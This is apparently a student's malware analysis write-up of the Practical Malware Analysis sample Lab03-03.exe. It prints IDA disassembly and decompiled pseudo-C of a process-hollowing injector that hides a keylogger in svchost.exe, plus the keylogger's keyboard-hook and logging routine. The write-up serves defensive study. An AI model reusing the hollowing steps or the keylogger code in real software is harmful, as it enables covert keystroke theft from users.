Analysis of the binary Lab03-03.exe (SHA1: DAF263702F11DC0430D30F9BF443E7885CF91FCB)
This is one of the samples that we have from the book Practical Malware Analysis for
the class of "Malware Analysis & Engineering", as a way to understand better how the
samples work I will analyze the whole binary instead of doing only a simple static
and simple dynamic analysis.
For the analysis the simple analysis will be included, but also analysis with IDA
will be provided.
Start with simple static binary analysis
First thing we can do is to load in ExeinfoPE the binary in order to recognize if the binary is packed with a known packer. The tool gives us that binary is not packed (or at least didn't recognize any packer), and also it gives us that the binary is compiled with Microsoft Visual C++ (compiled in 2011).
If now we analyze the imports we can find a serie of interesting import functions:
- Load of resources
- FreeResource
- SizeOfResource
- LockResource
- LoadResource
- FindResourceA
- Process Injection (discovered through advanced analysis)
- WriteProcessMemory
- VirtualAllocEx
- ReadProcessMemory
- GetThreadContext
- SetThreadContext
- CreateProcess (to create the process where to inject).
The process injection also uses another function not present in imports but loaded in runtime through LoadLibrary/GetProcAddress: NtUnmapViewOfSection.
Another interesting string that will be a little hint to know what's happening in execution is: "\svchost.exe"
Knowing how your enemy works
Once we have some information about the binary through its imports and some strings, we can start the process of running the program in a VM.
The analysis is done in VirtualBox, and at the same time of running the binary, I will start process monitor, and process explorer for monitoring execution.
The results of the execution is more or less the next: Lab03-03.exe starts, and creates another process (the binary svchost.exe) from windows, finally Lab03-03.exe finishes. We have now a svchost.exe without parent process running and writing to a file called "practicalmalwareanalysis.log".
So with this we can think that Lab03-03.exe creates a svchost.exe process, replace its content and dies, after that svchost.exe does something and writes to a file. If we open the file, we can see that everything that we've been typing since we executed the program has been recorded in that file.
We can conclude in dynamic that Lab03-03.exe is an injector of a keylogger, this will be completely resolved in an advanced analysis.
Advanced static analysis
Now it's IDA time, if we open the binary in the disassembler, we see the function start in the address 00401ADB. In my case IDA recognizes the main function, if our IDA doesn't detect it, we can check this snippet:
.text:00401B64 E8 D9 03 00 00 call __setargv
.text:00401B69 E8 1B 03 00 00 call __setenvp
.text:00401B6E E8 90 00 00 00 call __cinit
.text:00401B73 A1 F4 52 40 00 mov eax, envp
.text:00401B78 A3 F8 52 40 00 mov envp_0, eax
.text:00401B7D 50 push eax ; envp
.text:00401B7E FF 35 EC 52 40 00 push argv ; argv
.text:00401B84 FF 35 E8 52 40 00 push argc ; argc
.text:00401B8A E8 51 F9 FF FF call _main
First thing we have in the binary is a check of argc, the binary checks if argc is below of 2, in other case (not below of 2) it jumps directly to the end of the function.
The first function called in address 0040149D, gets the system directory path (calling the function GetSystemDirectoryA), and finally concatenate to this path the string "\svchost.exe". I renamed the function to "CreatePathToSvcHostFromSystemDirectory:
.text:00401508 68 00 04 00 00 push 400h ; uSize
.text:0040150D 8D 85 FC FB FF FF lea eax, [ebp+svchostPath]
.text:00401513 50 push eax ; lpBuffer
.text:00401514 68 30 50 40 00 push offset file_name ; "\\svchost.exe"
.text:00401519 E8 7F FF FF FF call CreatePathToSvcHostFromSystemDirectory
And inside of the function:
.text:004014A0 8B 45 10 mov eax, [ebp+uSize]
.text:004014A3 50 push eax ; uSize
.text:004014A4 8B 4D 0C mov ecx, [ebp+lpBuffer]
.text:004014A7 51 push ecx ; lpBuffer
.text:004014A8 FF 15 50 40 40 00 call ds:GetSystemDirectoryA
...
.text:004014D0 8B 4D 0C mov ecx, [ebp+lpBuffer]
.text:004014D3 03 C8 add ecx, eax
.text:004014D5 51 push ecx ; char *
.text:004014D6 E8 55 04 00 00 call _stncat
Some lines after calling to CreatePathToSvcHostFromSystemDirectory, the binary extracts a resource and decrypts it (method in address 0040132C).
Next calls are done to extract and decrypt the resource:
.text:00401362 loc_401362: ; "UNICODE"
.text:00401362 68 64 50 40 00 push offset Type
.text:00401367 68 6C 50 40 00 push offset Name ; "LOCALIZATION"
.text:0040136C 8B 45 08 mov eax, [ebp+hModule]
.text:0040136F 50 push eax ; hModule
.text:00401370 FF 15 4C 40 40 00 call ds:FindResourceA
...
.text:00401386 8B 4D F0 mov ecx, [ebp+hResInfo]
.text:00401389 51 push ecx ; hResInfo
.text:0040138A 8B 55 08 mov edx, [ebp+hModule]
.text:0040138D 52 push edx ; hModule
.text:0040138E FF 15 48 40 40 00 call ds:LoadResource
...
.text:004013A2 loc_4013A2:
.text:004013A2 8B 45 EC mov eax, [ebp+hResData]
.text:004013A5 50 push eax ; hResData
.text:004013A6 FF 15 44 40 40 00 call ds:LockResource ; this returns a pointer to loaded resource
...
.text:004013B7 8B 4D F0 mov ecx, [ebp+hResInfo]
.text:004013BA 51 push ecx ; hResInfo
.text:004013BB 8B 55 08 mov edx, [ebp+hModule]
.text:004013BE 52 push edx ; hModule
.text:004013BF FF 15 40 40 40 00 call ds:SizeofResource
...
004013DD FF 15 0C 40 40 00 call ds:VirtualAlloc
...
.text:004013EE 8B 4D F4 mov ecx, [ebp+dwSize]
.text:004013F1 51 push ecx ; size_t
.text:004013F2 8B 55 FC mov edx, [ebp+pointerToLoadedResource]
.text:004013F5 52 push edx ; void *
.text:004013F6 8B 45 F8 mov eax, [ebp+allocatedMemory]
.text:004013F9 50 push eax ; void *
.text:004013FA E8 F1 01 00 00 call _memcpy ; copy resource in memory to allocated memory
.text:004013FA ; with VirtualAlloc
...
.text:0040141B 6A 41 push 41h
.text:0040141D 8B 55 F4 mov edx, [ebp+dwSize]
.text:00401420 52 push edx ; sizeOfBuffer
.text:00401421 8B 45 F8 mov eax, [ebp+allocatedMemory]
.text:00401424 50 push eax ; codeBuffer
.text:00401425 E8 D6 FB FF FF call decryption
The last call is done to a method which simply loops byte by byte, until reach the given size as parameter, and xoring each byte with the key given as third parameter (0x41). This would be a pseudo-C of the method
int __cdecl decryptionMethod(LPVOID codeBuffer, SIZE_T sizeOfBuffer, byte key)
{
int result; // eax@3
SIZE_T i; // [sp+0h] [bp-4h]@1
for ( i = 0; i < sizeOfBuffer; ++i )
{
*((_BYTE *)codeBuffer + i) ^= key;
result = i + 1;
}
return result;
}
Finally in the address 004010EA we have to process injection (also known as Process Hollowing, here you can find more information Process Hollowing Explained)
First thing we can see are two checks of the buffer given as parameters, one checks if 'MZ' header is correct, and the other if 'PE' header is correct:
.text:004010FB 66 8B 11 mov dx, [ecx]
.text:004010FE 81 FA 4D 5A 00 00 cmp edx, 'ZM
...
.text:0040110D 8B 4D 0C mov ecx, [ebp+bufferWithDecryptedFile]
.text:00401110 03 48 3C add ecx, [eax+IMAGE_DOS_HEADER.e_lfanew]
.text:00401113 89 4D F8 mov [ebp+pe_header], ecx
.text:00401116 8B 55 F8 mov edx, [ebp+pe_header]
.text:00401119 81 3A 50 45 00 00 cmp dword ptr [edx], 'EP'
Then the process <system_directory>\schost.exe is created. If creation is correct, the sample unmap the memory of the remote process, and allocates space for the new content:
.text:004011FE _unmap_process_memory_and_allocated_new_one:
.text:004011FE 8B 45 94 mov eax, [ebp+Buffer]
.text:00401201 50 push eax
.text:00401202 8B 4D E8 mov ecx, [ebp+ProcessInformation.hProcess]
.text:00401205 51 push ecx
.text:00401206 FF 55 9C call [ebp+NtUnmapViewOfSection]
.text:00401209 6A 40 push PAGE_EXECUTE_READWRITE ; flProtect
.text:0040120B 68 00 30 00 00 push MEM_COMMIT or MEM_RESERVE ; flAllocationType
.text:00401210 8B 55 F8 mov edx, [ebp+pe_header]
.text:00401213 8B 42 50 mov eax, [edx+IMAGE_NT_HEADERS32.OptionalHeader.SizeOfImage]
.text:00401216 50 push eax ; dwSize
.text:00401217 8B 4D F8 mov ecx, [ebp+pe_header]
.text:0040121A 8B 51 34 mov edx, [ecx+IMAGE_NT_HEADERS32.OptionalHeader.ImageBase]
.text:0040121D 52 push edx ; lpAddress
.text:0040121E 8B 45 E8 mov eax, [ebp+ProcessInformation.hProcess]
.text:00401221 50 push eax ; hProcess
.text:00401222 FF 15 24 40 40 00 call ds:VirtualAllocEx
First thing to copy in new allocated memory is the binary header, it's easy to get the size as there's a field from the header that says the size of the header:
.text:0040123E 8B 4D F8 mov ecx, [ebp+pe_header]
.text:00401241 8B 51 54 mov edx, [ecx+IMAGE_NT_HEADERS32.OptionalHeader.SizeOfHeaders]
.text:00401244 52 push edx ; nSize
.text:00401245 8B 45 0C mov eax, [ebp+bufferWithDecryptedFile]
.text:00401248 50 push eax ; lpBuffer
.text:00401249 8B 4D 98 mov ecx, [ebp+baseAddressRemoteProcess]
.text:0040124C 51 push ecx ; lpBaseAddress
.text:0040124D 8B 55 E8 mov edx, [ebp+ProcessInformation.hProcess]
.text:00401250 52 push edx ; hProcess
.text:00401251 FF 15 20 40 40 00 call ds:WriteProcessMemory ; write header to new process
From the address 0040125E, to the address 004012B9, we have a loop to copy all the sections to the created process. The body of the loop is the next one:
.text:00401269 mov ecx, [ebp+pe_header]
.text:0040126C xor edx, edx
.text:0040126E mov dx, [ecx+IMAGE_NT_HEADERS32.FileHeader.NumberOfSections]
.text:00401272 cmp [ebp+sectionCounter], edx
.text:00401275 jge short _end_of_loop
.text:00401277 mov eax, [ebp+bufferWithDecryptedFileCPY]
.text:0040127A mov ecx, [ebp+bufferWithDecryptedFile]
.text:0040127D add ecx, [eax+IMAGE_DOS_HEADER.e_lfanew]
.text:00401280 mov edx, [ebp+sectionCounter]
.text:00401283 imul edx, 28h
.text:00401286 lea eax, [ecx+edx+(size IMAGE_NT_HEADERS32)] ; point to the different IMAGE_SECTION_HEADER
.text:0040128D mov [ebp+image_section_header], eax
.text:00401290 push 0 ; lpNumberOfBytesWritten
.text:00401292 mov ecx, [ebp+image_section_header]
.text:00401295 mov edx, [ecx+IMAGE_SECTION_HEADER.SizeOfRawData]
.text:00401298 push edx ; nSize
.text:00401299 mov eax, [ebp+image_section_header]
.text:0040129C mov ecx, [ebp+bufferWithDecryptedFile]
.text:0040129F add ecx, [eax+IMAGE_SECTION_HEADER.PointerToRawData]
.text:004012A2 push ecx ; lpBuffer
.text:004012A3 mov edx, [ebp+image_section_header]
.text:004012A6 mov eax, [ebp+baseAddressRemoteProcess]
.text:004012A9 add eax, [edx+IMAGE_SECTION_HEADER.VirtualAddress]
.text:004012AC push eax ; lpBaseAddress
.text:004012AD mov ecx, [ebp+ProcessInformation.hProcess]
.text:004012B0 push ecx ; hProcess
.text:004012B1 call ds:WriteProcessMemory ; write new section to remote process memory
Finally the Context has to be fixed with the new entry point of the binary, and the main thread of the process has to be resumed:
.text:004012E1 add ecx, [eax+IMAGE_NT_HEADERS32.OptionalHeader.AddressOfEntryPoint]
.text:004012E4 mov edx, [ebp+lpContext]
.text:004012E7 mov [edx+WOW64_CONTEXT._Eax], ecx
.text:004012ED mov eax, [ebp+lpContext]
.text:004012F0 push eax ; lpContext
.text:004012F1 mov ecx, [ebp+ProcessInformation.hThread]
.text:004012F4 push ecx ; hThread
.text:004012F5 call ds:SetThreadContext ; set new context with new entry point for binary
.text:004012FB mov edx, [ebp+ProcessInformation.hThread]
.text:004012FE push edx ; hThread
.text:004012FF call ds:ResumeThread
As a funny annecdote, if we follow the xrefs of the function ProcessHollowingInjection, we can see that is also called from a method that IDA didn't recognize, as is not called anywhere. This looks like a debugging function to instead of using a resource, read a file from disk and inject it into a process (I've called the function ProcessInjectionDebug, in the address 0040144B).
Here it finishes the analysis of the binary Lab03-03.exe. Now we will extract the localization resource from the binary with Resource Hacker, and finally with a simple python script we can decrypt it with the key 0x41. What we see it's a PE binary that is injected into svchost.exe
Analysis of the binary localization_decrypted.bin (SHA1: 70E39BDFCAA4BCF0021311E8298266E527CF7C97)
Now we have start function at 00401754, and my IDA recognizes the main function, but if not, just search this code snippet:
.text:004017DD call __setargv
.text:004017E2 call __setenvp
.text:004017E7 call __cinit
.text:004017EC mov eax, envp
.text:004017F1 mov dword_405B88, eax
.text:004017F6 push eax ; envp
.text:004017F7 push argv ; argv
.text:004017FD push argc ; argc
.text:00401803 call _main
The first three called functions are intented to hide the console from the process, here we can see a pseudo-C of the functions:
AllocConsole();
hWnd = FindWindowA(ClassName, 0);
if ( hWnd )
ShowWindow(hWnd, SW_HIDE);
As we saw previously with the basic dynamic analysis, this sample is a keylogger, we can find at least two types of keylogger:
- One that calls GetAsyncKeyState to check for each key if it has been pressed (polling)
- Or the other, and the one used here, a keylogger that installs a hook in the keyboard (hooking)
This last type, just sets a hook function, that each time a key is pressed. Here is the code used to do that:
.text:00401053 push eax ; hmod
.text:00401054 push offset windowsHookFunction ; lpfn
.text:00401059 push WH_KEYBOARD_LL ; idHook
.text:0040105B call ds:SetWindowsHookExA
Now the analysis must go to the function that I've called windowsHookFunction.
Inside of the function, we can find typical code for keyloggers, one of the parameters is "wParam", this is checked against the constant values: WM_SYSKEYDOWN, WM_KEYDOWN. And in case wParam is equals to any of those, it calls a function named as "keyloggerWriteToFile", the third parameter "lParam" is casted to a pointer to the structure KBDLLHOOKSTRUCT, and from that structure the field "vkCode" is taken and given to "keyloggerWriteToFile":
.text:0040108F cmp [ebp+wParam], WM_SYSKEYDOWN
.text:00401096 jz short loc_4010A1
.text:00401098 cmp [ebp+wParam], 100h ; WM_KEYDOWN
.text:0040109F jnz short _end_of_function
.text:004010A1
.text:004010A1 loc_4010A1: ; CODE XREF: windowsHookFunction+10j
.text:004010A1 mov eax, [ebp+lParam]
.text:004010A4 mov ecx, [eax+KBDLLHOOKSTRUCT.vkCode]
.text:004010A6 push ecx ; keystroke
.text:004010A7 call keyloggerWriteToFile
This function is in the address 004010C7, first it opens the file "practicalmalwareanalysis.log", it extracts the Foreground window text (title of foreground window) and writes it in the file as:
\r\n[Window: <name_of_the_window>]\r\n
Finally the previous parameter (renamed as keystroke) is compared against different values, as some keys are not ASCII a switch block is necessary to write in the log file different values, for example:
- [SHIFT]
- [ENTER]
- [TAB]
- [CTRL]
- [DEL]
- Numbers from 0 to 9
- [CAPS LOCK]
If keystroke is not any of those, it will be a letter from A to Z, for those that are lower case, it adds 32 to the keystroke, the pseudo-C is the next one:
int __cdecl keyloggerWriteToFile(int keystroke)
{
int result; // eax@1
HWND v2; // eax@2
DWORD v3; // eax@3
DWORD v4; // eax@14
DWORD v5; // eax@28
HANDLE hFile; // [sp+4h] [bp-8h]@1
DWORD NumberOfBytesWritten; // [sp+8h] [bp-4h]@1
NumberOfBytesWritten = 0;
result = (int)CreateFileA(FileName, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
hFile = (HANDLE)result;
if ( result != -1 )
{
SetFilePointer((HANDLE)result, 0, 0, FILE_END);
v2 = GetForegroundWindow();
GetWindowTextA(v2, foregroundWindow, 1024);
if ( strcmp(lastForeGroundWindow, foregroundWindow) )
{
WriteFile(hFile, aWindow, 0xCu, &NumberOfBytesWritten, 0);
v3 = strlen(foregroundWindow);
WriteFile(hFile, foregroundWindow, v3, &NumberOfBytesWritten, 0);
WriteFile(hFile, end_of_window_string, 4u, &NumberOfBytesWritten, 0);
strncpy(lastForeGroundWindow, foregroundWindow, 0x3FFu);
lastForeGroundWindow[1023] = 0;
}
if ( (unsigned int)keystroke < 0x27 || (unsigned int)keystroke > 0x40 )
{
if ( (unsigned int)keystroke <= 0x40 || keystroke >= (unsigned int)'[' )
{
switch ( keystroke )
{
case 32:
WriteFile(hFile, space_character, 1u, &NumberOfBytesWritten, 0);
break;
case 16:
WriteFile(hFile, aShift, 7u, &NumberOfBytesWritten, 0);
break;
case 13:
WriteFile(hFile, aEnter, 8u, &NumberOfBytesWritten, 0);
break;
case 8:
v4 = strlen(aBackspace);
WriteFile(hFile, aBackspace_0, v4, &NumberOfBytesWritten, 0);
break;
case 9:
WriteFile(hFile, aTab, 5u, &NumberOfBytesWritten, 0);
break;
case 17:
WriteFile(hFile, aCtrl, 6u, &NumberOfBytesWritten, 0);
break;
case 46:
WriteFile(hFile, aDel, 5u, &NumberOfBytesWritten, 0);
break;
case 96:
WriteFile(hFile, a0, 1u, &NumberOfBytesWritten, 0);
break;
case 97:
WriteFile(hFile, a1, 1u, &NumberOfBytesWritten, 0);
break;
case 98:
WriteFile(hFile, a2, 1u, &NumberOfBytesWritten, 0);
break;
case 99:
WriteFile(hFile, a3, 1u, &NumberOfBytesWritten, 0);
break;
case 100:
WriteFile(hFile, a4, 1u, &NumberOfBytesWritten, 0);
break;
case 101:
WriteFile(hFile, a5, 1u, &NumberOfBytesWritten, 0);
break;
case 102:
WriteFile(hFile, a6, 1u, &NumberOfBytesWritten, 0);
break;
case 103:
WriteFile(hFile, a7, 1u, &NumberOfBytesWritten, 0);
break;
case 104:
WriteFile(hFile, a8, 1u, &NumberOfBytesWritten, 0);
break;
case 105:
WriteFile(hFile, a9, 1u, &NumberOfBytesWritten, 0);
break;
case 20:
v5 = strlen(aCapsLock);
WriteFile(hFile, aCapsLock_0, v5, &NumberOfBytesWritten, 0);
break;
default:
break;
}
}
else
{
keystroke += 32;
WriteFile(hFile, &keystroke, 1u, &NumberOfBytesWritten, 0);
}
}
else
{
WriteFile(hFile, &keystroke, 1u, &NumberOfBytesWritten, 0);
}
result = CloseHandle(hFile);
}
return result;
}
After processing the keystroke, the process calls CallNextHook so system can call other keyboard hooks (necessary to avoid simple detections).
This is the analysis of Lab03-03.exe from Practical Malware Analysis in depth, I saw it as a good exercise to remember the way that executable files were analyzed. I hope you can follow it, and learn how this exercise works